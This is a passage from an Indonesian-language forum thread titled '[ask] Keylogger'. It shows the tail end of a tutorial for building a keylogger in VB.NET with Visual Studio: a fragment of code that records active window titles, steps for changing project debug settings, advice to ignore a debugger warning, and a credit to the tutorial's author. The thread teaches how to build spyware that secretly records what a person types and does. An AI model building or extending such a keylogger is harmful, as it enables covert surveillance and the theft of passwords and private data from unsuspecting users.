GetActiveWindowTitle() & "------]" + vbNewLine strin = GetActiveWindowTitle() End If End Sub End Class klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini
6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug,Hilangkan centangan pada tulisan Enable the Visual Studio hosting process untuk lebih jelasnya,lihat gambar berikut :
SS langkah 1 : [You must be registered and logged in to see this image.]
SS langkah 2 : [You must be registered and logged in to see this image.]
7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja
7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini : [You must be registered and logged in to see this image.]
jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All.
Credit's : RieqyNS13 thx ya,... akirnya bisa bikin sendiri nie we kasi nanti balikin ya | |
| | | Sponsored content
| Subject: Re: [ask] Keylogger | |
| |
| | | | [ask] Keylogger | |
|
Similar topics | |
|
| Permissions in this forum: | You cannot reply to topics in this forum
| |
| |
| |
|